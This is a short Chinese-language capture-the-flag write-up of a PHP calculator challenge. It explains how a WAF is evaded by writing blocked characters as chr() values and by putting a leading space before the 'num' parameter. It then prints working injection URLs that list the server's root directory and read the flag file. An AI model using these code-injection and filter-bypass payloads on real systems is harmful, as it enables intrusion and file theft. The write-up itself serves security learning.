打开是一个计算器
输入会出现结果。
看名字有clac,我还查了一下calc函数
不过对写题没什么帮助,就当课外知识吧
查看源码发现提示
WAF是什么呢,查阅资料:
根据我的理解,应该是一个类似与防火墙的东西
查看一下calc.php文件,可以得知被过滤的字符
scandir():列出目录中的文件和目录
// 以升序排序 - 默认
$a = scandir($dir);
// 以降序排序
$b = scandir($dir,1);
chr():从不同的 ASCII 值返回字符
因为/被过滤 所以使用chr(47)来替代
构造payload
http://node4.buuoj.cn:25834/calc.php?num=print_r(scandir(chr(47)))
发现num不能传递字符,利用空格绕过
在num前加一个空格,进行目录读取
http://node4.buuoj.cn:25834/calc.php? num=print_r(scandir(chr(47)))
file_get_contents():把整个文件读入一个字符串中
参数 | 描述 |
---|---|
path | 必需。规定要读取的文件。 |
include_path | 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 '1'。 |
context | 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略。 |
start | 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。 |
max_length | 可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。 |
因为引号也被过滤了,所以flagg也需要使用chr函数
构造payload
http://node4.buuoj.cn:25834/calc.php? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
得到flag